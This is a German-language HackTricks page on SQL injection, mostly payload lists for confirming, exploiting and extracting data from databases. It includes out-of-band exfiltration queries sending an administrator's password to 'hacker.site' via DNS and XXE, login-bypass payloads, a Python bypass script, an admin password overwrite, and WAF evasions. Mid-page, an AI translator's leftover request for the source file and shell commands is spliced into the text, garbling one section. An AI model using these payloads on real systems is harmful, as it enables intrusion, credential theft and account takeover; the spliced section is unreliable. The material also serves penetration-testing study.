SQL Injection
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Was ist SQL injection?
Eine SQL injection ist ein Sicherheitsfehler, der Angreifern erlaubt, mit den Datenbankabfragen einer Anwendung zu interagieren. Diese Schwachstelle kann Angreifern ermöglichen, Daten, auf die sie keinen Zugriff haben sollten, zu anzeigen, ändern oder löschen, einschließlich Informationen anderer Benutzer oder sonstiger Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder am Inhalt der Anwendung führen oder sogar zur Kompromittierung des Servers oder zu einem Denial of Service.
Erkennung von Einstiegspunkten
Wenn eine Seite aufgrund ungewöhnlicher Serverantworten auf SQLi-bezogene Eingaben als anfällig für SQL injection (SQLi) erscheint, ist der erste Schritt, zu verstehen, wie man Daten in die Abfrage injektieren kann, ohne sie zu stören. Dazu muss die Methode identifiziert werden, um effektiv aus dem aktuellen Kontext zu entkommen. Dies sind einige nützliche Beispiele:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
Dann musst du wissen, wie du die query so korrigierst, dass keine Fehler auftreten. Um die query zu korrigieren, kannst du input Daten eingeben, sodass die vorherige query die neuen Daten akzeptiert, oder du kannst einfach deine Daten input und am Ende ein Kommentarzeichen hinzufügen.
Note that if you can see error messages or you can spot differences when a query is working and when it’s not this phase will be more easy.
Kommentare
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
Bestätigung mit logischen Operationen
Eine zuverlässige Methode, eine SQL injection-Schwachstelle zu bestätigen, besteht darin, eine logische Operation auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel weist ein GET-Parameter wie ?username=Peter, der identischen Inhalt liefert, wenn er zu ?username=Peter' or '1'='1 geändert wird, auf eine SQL injection-Schwachstelle hin.
Ähnlich dient die Anwendung von mathematischen Operationen als effektive Bestätigungstechnik. Zum Beispiel deutet es auf SQL injection hin, wenn das Aufrufen von ?id=1 und ?id=2-1 dasselbe Ergebnis liefert.
Beispiele, die die Bestätigung durch logische Operationen demonstrieren:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
Diese Wortliste wurde erstellt, um zu versuchen, SQLinjections auf die vorgeschlagene Weise zu bestätigen:
Echte SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```Bestätigung mittels Timing
In manchen Fällen wirst du auf der getesteten Seite keine Änderung bemerken. Daher ist ein guter Weg, blind SQL injections zu entdecken, die DB Aktionen ausführen zu lassen, die eine Auswirkung auf die Ladezeit der Seite haben.
Daher werden wir in der SQL-Abfrage mit concat eine Operation anhängen, die lange zur Ausführung benötigt:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
In einigen Fällen sind die sleep functions nicht erlaubt. Statt diese Funktionen zu verwenden, könntest du die Abfrage so gestalten, dass sie komplexe Operationen ausführt, die mehrere Sekunden dauern. Beispiele für diese Techniken werden jeweils für jede Technologie separat kommentiert (falls vorhanden).
Back-end identifizieren
Der beste Weg, das Back-end zu identifizieren, ist zu versuchen, Funktionen der verschiedenen Back-ends auszuführen. Du könntest die sleep functions aus dem vorherigen Abschnitt oder die folgenden verwenden (Tabelle von payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Auch, wenn du Zugriff auf die Ausgabe der Abfrage hast, kannst du die Version der Datenbank ausgeben lassen.
Tip
Im Folgenden besprechen wir verschiedene Methoden, um verschiedene Arten von SQL Injection auszunutzen. Wir verwenden MySQL als Beispiel.
Identifizierung mit PortSwigger
SQL injection cheat sheet | Web Security Academy
Ausnutzen von Union Based
Ermitteln der Anzahl der Spalten
Wenn du die Ausgabe der Abfrage sehen kannst, ist dies der beste Weg, sie auszunutzen.
Zunächst müssen wir herausfinden, wie viele Spalten die ursprüngliche Anfrage zurückliefert. Das liegt daran, dass beide Queries dieselbe Anzahl an Spalten zurückgeben müssen.
Für diesen Zweck werden typischerweise zwei Methoden verwendet:
Order/Group by
Um die Anzahl der Spalten in einer Abfrage zu bestimmen, erhöhe schrittweise die Zahl, die in ORDER BY- oder GROUP BY-Klauseln verwendet wird, bis eine fehlerhafte Antwort zurückkommt. Trotz der unterschiedlichen Funktionalitäten von GROUP BY und ORDER BY in SQL können beide identisch genutzt werden, um die Anzahl der Spalten der Abfrage zu ermitteln.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Wähle immer mehr null-Werte, bis die Abfrage korrekt ist:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
Sie sollten null-Werte verwenden, da in einigen Fällen der Typ der Spalten auf beiden Seiten der Abfrage gleich sein muss und null in jedem Fall gültig ist.
Datenbanknamen, Tabellennamen und Spaltennamen extrahieren
In den folgenden Beispielen werden wir die Namen aller Datenbanken, die Tabellennamen einer Datenbank und die Spaltennamen der Tabelle abrufen:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
Es gibt für jede Datenbank eine andere Möglichkeit, diese Daten zu entdecken, aber die Methodik ist immer dieselbe.
Ausnutzung von Hidden Union Based
Wenn die Ausgabe einer Abfrage sichtbar ist, aber eine union-based injection unerreichbar erscheint, deutet das auf das Vorhandensein einer hidden union-based injection hin. Dieses Szenario führt oft zu einer blind injection-Situation. Um eine blind injection in eine union-based zu verwandeln, muss die auf dem Backend ausgeführte Abfrage ermittelt werden.
Dies kann durch den Einsatz von blind injection-Techniken zusammen mit den Standardtabellen erreicht werden, die spezifisch für Ihr Ziel-Datenbankmanagementsystem (DBMS) sind. Um diese Standardtabellen zu verstehen, empfiehlt sich ein Blick in die Dokumentation des Ziel-DBMS.
Nachdem die Abfrage extrahiert wurde, ist es notwendig, Ihr Payload so anzupassen, dass die originale Abfrage sicher geschlossen wird. Anschließend wird eine union query an Ihr Payload angehängt, was die Ausnutzung der nun zugänglichen union-based injection ermöglicht.
Für ausführlichere Informationen siehe den vollständigen Artikel unter Healing Blind Injections.
Ausnutzung von Error based
Wenn Sie aus irgendeinem Grund nicht die Ausgabe der Abfrage sehen können, aber die Fehlermeldungen sehen können, können Sie diese Fehlermeldungen nutzen, um Daten aus der Datenbank zu ex-filtrate.
Folgt man einem ähnlichen Ablauf wie bei der Union Based exploitation, könnten Sie die DB dumpen.
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi ausnutzen
In diesem Fall kannst du die Ergebnisse der Abfrage oder die Fehler nicht sehen, aber du kannst erkennen, wann die Abfrage zurückgibt eine true oder eine false Antwort, weil sich der Inhalt der Seite unterscheidet.
In diesem Fall kannst du dieses Verhalten ausnutzen, um die Datenbank Zeichen für Zeichen auszulesen:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
Dies ist der gleiche Fall wie zuvor, aber anstatt zwischen einer true/false-Antwort der Abfrage zu unterscheiden, kannst du unterscheiden, ob es in der SQL-Abfrage einen Fehler gibt oder nicht (vielleicht weil der HTTP-Server abstürzt). Daher kannst du in diesem Fall bei jedem korrekt geratenen Zeichen einen SQLerror erzwingen:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Ausnutzung von Time Based SQLi
In diesem Fall gibt es keine Möglichkeit, die response der query anhand des Seitenkontexts zu unterscheiden. Aber du kannst die Seite länger laden lassen, wenn das erratene Zeichen korrekt ist. Wir haben diese Technik bereits zuvor verwendet, um confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
Sie können stacked queries verwenden, um mehrere Queries nacheinander auszuführen. Beachten Sie, dass, obwohl die nachfolgenden Queries ausgeführt werden, die Ergebnisse nicht an die Anwendung zurückgegeben werden. Daher ist diese Technik vor allem bei blind vulnerabilities nützlich, wo Sie eine zweite Query verwenden können, um eine DNS-Abfrage, einen bedingten Fehler oder eine Zeitverzögerung auszulösen.
Oracle unterstützt stacked queries nicht. MySQL, Microsoft und PostgreSQL unterstützen sie: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
Wenn keine andere Exploitationsmethode funktioniert hat, können Sie versuchen, die database ex-filtrate dazu zu bringen, die Informationen an einen von Ihnen kontrollierten external host zu senden. Zum Beispiel über DNS queries:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
Out-of-Band-Datenexfiltration über XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
Sieh dir das SQLMap Cheatsheet an, um eine SQLi-Schwachstelle mit sqlmap auszunutzen.
Technologie-spezifische Informationen
Wir haben bereits alle Möglichkeiten besprochen, eine SQL Injection-Schwachstelle auszunutzen. Weitere datenbankspezifische Tricks findest du in diesem Buch:
Oder du findest viele Tricks zu MySQL, PostgreSQL, Oracle, MSSQL, SQLite und HQL in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Authentication bypass
Liste, um die Login-Funktionalität zu bypassen:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
Diese Abfrage zeigt eine Verwundbarkeit, wenn MD5 mit true für raw output in Authentifizierungsprüfungen verwendet wird, wodurch das System für SQL injection anfällig ist. Angreifer können dies ausnutzen, indem sie Eingaben so konstruieren, dass diese beim Hashen unerwartete Teile von SQL-Befehlen erzeugen und so unbefugten Zugriff ermöglichen.
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injizierter hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
Empfohlene Liste:
Du solltest als Benutzername jede Zeile der Liste verwenden und als Passwort immer: Pass1234.
(Diese payloads sind auch in der großen Liste enthalten, die am Anfang dieses Abschnitts erwähnt wurde)
GBK Authentication Bypass
Wenn ’ escaped wird, kannst du %A8%27 verwenden; und wenn ’ escaped wird, entsteht: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python-Skript:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
Insert-Anweisung
Passwort eines bestehenden Objekts/Benutzers ändern
Dazu solltest du versuchen, ein neues Objekt mit dem Namen des “Master-Objekts” zu erstellen (wahrscheinlich admin bei Benutzern) und dabei etwas zu verändern:
- Erstelle einen Benutzer namens: AdMIn (Groß- und Kleinbuchstaben)
- Erstelle einen Benutzer namens: admin=
- SQL Truncation Attack (wenn es eine Art Längenbegrenzung im Benutzernamen oder in der E-Mail gibt) –> Erstelle einen Benutzer mit Namen: admin [a lot of spaces] a
SQL Truncation Attack
Wenn die Datenbank verwundbar ist und die maximale Anzahl von Zeichen für den Benutzernamen z. B. 30 beträgt und du den Benutzer admin imitieren möchtest, versuche einen Benutzernamen zu erstellen: “admin [30 spaces] a” und irgendein Passwort.
Die Datenbank wird prüfen, ob der eingegebene Benutzername in der Datenbank existiert. Falls nicht, wird sie den Benutzernamen auf die maximal erlaubte Anzahl von Zeichen kürzen (in diesem Fall auf: “admin [25 spaces]”) und anschließend automatisch alle Leerzeichen am Ende entfernen und in der Datenbank den Benutzer “admin” mit dem neuen Passwort aktualisieren (es kann ein Fehler auftreten, aber das bedeutet nicht, dass es nicht funktioniert hat).
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL: Insert zeitbasierte Prüfung
Füge so viele ','','' hinzu, wie du brauchst, um die VALUES-Klausel zu verlassen. Wenn die Verzögerung ausgeführt wird, hast du eine SQLInjection.
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
Die ON DUPLICATE KEY UPDATE-Klausel in MySQL wird verwendet, um festzulegen, welche Aktionen die Datenbank ausführen soll, wenn versucht wird, eine Zeile einzufügen, die einen doppelten Wert in einem UNIQUE-Index oder PRIMARY KEY verursachen würde. Das folgende Beispiel zeigt, wie diese Funktion ausgenutzt werden kann, um das Passwort eines Administratorenkontos zu ändern:
Beispiel Payload Injection:
Eine Injection-Payload könnte wie folgt konstruiert werden, wobei versucht wird, zwei Zeilen in die users-Tabelle einzufügen. Die erste Zeile ist eine Ablenkung, und die zweite Zeile zielt auf die E-Mail eines bestehenden Administrators ab, mit der Absicht, das Passwort zu ändern:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
So funktioniert es:
- Die Query versucht, zwei Zeilen einzufügen: eine für
generic_user@example.comund eine weitere füradmin_generic@example.com. - Falls die Zeile für
admin_generic@example.combereits existiert, wird dieON DUPLICATE KEY UPDATE-Klausel ausgelöst und weist MySQL an, daspassword-Feld der bestehenden Zeile auf “bcrypt_hash_of_newpassword” zu setzen. - Folglich kann die Authentifizierung mit
admin_generic@example.comund dem Passwort, das dem bcrypt-Hash entspricht, versucht werden (“bcrypt_hash_of_newpassword” steht für den bcrypt-Hash des neuen Passworts und sollte durch den tatsächlichen Hash des gewünschten Passworts ersetzt werden).
Informationen extrahieren
Creating 2 accounts at the same time
Beim Versuch, einen neuen user zu erstellen, werden username, password und email benötigt:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
Verwendung von Dezimal- oder Hexadezimalwerten
Mit dieser Technik kannst du Informationen extrahieren, indem du nur 1 Account erstellst. Es ist wichtig zu beachten, dass du nichts auskommentieren musst.
Mit hex2dec und substr:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
If the file is local:
- cat src/pentesting-web/sql-injection/README.md
- less src/pentesting-web/sql-injection/README.md
- sed -n ‘1,200p’ src/pentesting-web/sql-injection/README.md
- head -n 200 src/pentesting-web/sql-injection/README.md
If it’s in a git repo:
- git show HEAD:src/pentesting-web/sql-injection/README.md
- git show
:src/pentesting-web/sql-injection/README.md
If it’s on GitHub (replace owner/repo/branch):
- curl -sL https://raw.githubusercontent.com/
/ / /src/pentesting-web/sql-injection/README.md -o README.md
If you prefer to search:
- rg “sql-injection/README.md” -n
- find . -path ‘*/src/pentesting-web/sql-injection/README.md’
Paste the file content here (or the raw output) and I will translate the relevant English text to German following your rules.
__import__('binascii').unhexlify(hex(215573607263)[2:])
Mit hex und replace (und substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection ist eine Situation, bei der die injectable query nicht diejenige ist, die den output liefert, sondern der output der injectable query an die query weitergegeben wird, die den output liefert. (From Paper)
Beispiel:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - bypass unter Verwendung alternativer Whitespace-Zeichen
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
Kein Whitespace - Umgehung durch Kommentare
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - Umgehung mittels Klammern
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass using OFFSET, FROM and JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
Generische Bypasses
Blacklist mit Keywords umgehen — bypass durch Groß-/Kleinschreibung
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist mithilfe von keywords (case insensitive) - bypass using an equivalent operator
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
Sie finden eine ausführlichere Erklärung dieses Tricks im gosecure blog.
Im Wesentlichen können Sie scientific notation auf unerwartete Weise verwenden, um die WAF zu umgehen:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
Bypass Column Names Restriction
Zunächst solltest du beachten, dass, wenn die ursprüngliche Abfrage und die Tabelle, aus der du das flag extrahieren möchtest, die gleiche Anzahl an Spalten haben, du einfach Folgendes tun kannst: 0 UNION SELECT * FROM flag
Es ist möglich, auf die dritte Spalte einer Tabelle zuzugreifen, ohne ihren Namen zu verwenden, mit einer Abfrage wie der folgenden: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, daher würde dies in einer sqlinjection wie folgt aussehen:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
Oder mit einem comma bypass:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
Dieser Trick stammt von https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/
Column/tablename injection in SELECT list via subqueries
Wenn Benutzereingaben in die SELECT list oder table/column identifiers konkateniert werden, helfen prepared statements nicht, da bind parameters nur values schützen, nicht identifiers. Ein häufiges verwundbares Muster ist:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Exploitation idea: injiziere eine subquery in die field position, um beliebige Daten zu exfiltrieren:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
- Dies funktioniert selbst wenn die WHERE-Klausel einen bound parameter verwendet, weil die Identifier-Liste weiterhin string-konkateniert wird.
- Einige Stacks erlauben zusätzlich die Kontrolle des Tabellennamens (tablename injection), wodurch cross-table reads möglich werden.
- Output sinks können den ausgewählten Wert in HTML/JSON zurückgeben, wodurch XSS oder token exfiltration direkt aus der Antwort möglich sind.
Gegenmaßnahmen:
- Konkatenieren Sie niemals Identifier aus Benutzereingaben. Ordnen Sie erlaubte Spaltennamen einer festen allow-list zu und quoten Sie Identifier korrekt.
- Falls dynamischer Tabellenzugriff erforderlich ist, beschränken Sie ihn auf eine endliche Menge und lösen Sie ihn serverseitig über ein sicheres Mapping auf.
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
Einige Frameworks convert structured filter ASTs into raw SQL boolean fragments (z. B. metadata filters oder JSON predicates) und string-concatenate diese Fragmente dann zu größeren Abfragen. Wenn der Konverter wraps string values as '%s' without escaping, beendet ein einzelnes Anführungszeichen in der Benutzereingabe das Literal und der Rest wird als SQL geparst.
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-codiert): %27%20OR%20%271%27%3D%271 → dekodiert: ' OR '1'='1 → Prädikat lautet:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-basierte SQLi (PDO-Einschränkung)
Prepared statements können keine Identifier binden (Spalten- oder Tabellennamen). Ein häufiges unsicheres Muster ist, einen vom Benutzer kontrollierten sort-Parameter zu nehmen und ORDER BY mittels String-Konkatenation zu erstellen, dabei manchmal die Eingabe in Backticks zu setzen, um sie zu „bereinigen“. Das ermöglicht dennoch SQLi, weil der Identifier-Kontext vom Angreifer kontrolliert wird.
Vulnerable pattern:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
Signale im Traffic:
- Sort-Parameter in POST (oft
sort=column), keine feste allow-list. - Das Ändern von
sortbricht die Abfrage oder verändert die Ausgabereihenfolge.
WAF-Bypass-Vorschlagstools
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
Weitere Guides
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force Detection-Liste
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
Referenzen
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


